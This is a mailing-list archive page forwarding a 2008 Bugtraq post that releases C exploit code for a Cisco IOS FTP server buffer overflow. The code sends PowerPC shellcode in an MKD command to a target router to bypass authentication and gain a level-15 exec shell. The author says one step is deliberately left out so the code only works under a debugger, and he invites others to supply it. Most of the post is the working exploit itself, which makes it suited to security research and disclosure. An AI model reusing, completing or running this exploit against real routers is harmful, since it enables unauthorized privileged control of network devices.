Remote Cisco IOS FTP exploit (fwd)

Gadi Evron ge at linuxbox.org
Tue Jul 29 12:20:58 CDT 2008


---------- Forwarded message ----------
Date: Tue, 29 Jul 2008 11:31:11 +0100
From: Andy Davis <iosftpexploit at googlemail.com>
To: bugtraq at securityfocus.com
Subject: Remote Cisco IOS FTP exploit

Hi,

The IOS FTP server vulnerabilities were published in an advisory by
Cisco in May 2007. The FTP server does not run by default, it is not
widely used and has since been removed from new versions of IOS.
Therefore, I took the decision to release this exploit code in order
to show that IOS can be reliably exploited to provide remote level 15
exec shell access. This clearly demonstrates that patching your router
is just as important as patching your servers.

To prevent its widespread abuse I have omitted a critical step which
means that it will only work when the router is connected to a
debugger - not something you are likely to encounter on the Internet

Anyway, hopefully this will promote further IOS security research as
there's plenty left to look at!

Cheers,

Andy




/*

  Cisco IOS FTP server remote exploit by Andy Davis 2008

  Cisco Advisory ID: cisco-sa-20070509-iosftp - May 2007

  Specific hard-coded addresses for IOS 12.3(18) on a 2621XM router

  Removes the requirement to authenticate and escalates to level 15

  *********************************************************************
  To protect the innocent a critical step has been omitted, which means
  the shellcode will only execute when the router is attached to gdb.
  I'm sure the PowerPC shellcoders out there will work it out...
  *********************************************************************

  Thanks to Gyan Chawdhary and Varun Uppal for all the hours they spent
  on the original IOS security research

  iosftpexploit <at> googlemail 'dot' com

*/

#include <sys/socket.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>

#define PORT 21

int main(int argc, char **argv)
{
unsigned char sendbuf[] =

"MKD "

/* .equ vty_info, 0x8182da60    # pointer to VTY info */
/* .equ terminate, 0x80e4086c   # kill a process */

"\x3c\x80\x81\x83"      /* lis     4,vty_info at ha */
"\x38\x84\xda\x60"      /* la      4,vty_info at l(4) */
"\x7d\x08\x42\x78"      /* xor     8,8,8 */
"\x7c\xe4\x40\x2e"      /* lwzx    7,4,8 */
"\x91\x07\x01\x74"      /* stw     8,372(7) */
"\x39\x08\xff\xff"      /* subi    8,8,1 */
"\x38\xe7\x09\x1a"      /* addi    7,7,233 */
"\x91\x07\x04\xca"      /* stw     8,1226(7) */
"\x7d\x03\x43\x78"      /* mr      3,8 */
"\x3c\x80\x80\xe4"      /* lis     4,terminate at ha */
"\x38\x84\x08\x6c"      /* la      4,terminate at l(4) */
"\x7c\x89\x03\xa6"      /* mtctr   4 */
"\x4e\x80\x04\x20"      /* bctr    */

/* exists cleanly without adversely affecting the FTP server */

"\x61\x61\x61\x61"      /* padding */
"\x61\x61\x61\x61"      /* padding */
"\x61\x61\x61\x61"      /* padding */
"\x61\x61\x61\x61"      /* padding */
"\x61\x61\x61\x61"      /* padding */
"\x61\x61\x61\x61"      /* padding */

"\x80\x06\x23\xB8"      /* return address */
"\x0d\x0a";

/* trampoline code */
/* when the overflow occurs r26+0x14 points to the shellcode */
/*
0x800623B8      lwz     26, 20(26)
0x800623BC      mtctr   26
0x800623C0      mr      3, 27
0x800623C4      bctrl
*/

unsigned char recvbuf[256];
struct sockaddr_in servaddr;
int s;

if (argc != 2)
         {
         printf ("\nCisco IOS FTP server remote exploit by Andy Davis 2008\n");

         printf ("\nUsage: %s <target IP address>\n",argv[0]);
         exit(-1);
         }

servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = inet_addr(argv[1]);
servaddr.sin_port = htons(PORT);

s = socket(AF_INET, SOCK_STREAM, 0);
connect (s, (struct sockaddr *) &servaddr, sizeof(servaddr));
printf ("\nCisco IOS FTP server remote exploit by Andy Davis 2008\n");
printf ("Specific offsets for IOS 12.3(18) on a 2621XM router\n\n");
printf ("Sending exploit...\n\n");

if (send(s, sendbuf, sizeof(sendbuf)-1, 0) == 0)
         {
         printf("Error sending packet...quitting\n\n");
         exit (1);
         }
recv (s, recvbuf, sizeof(recvbuf)-1,0);
printf ("Now telnet to the router for a shell...\n\n");
}




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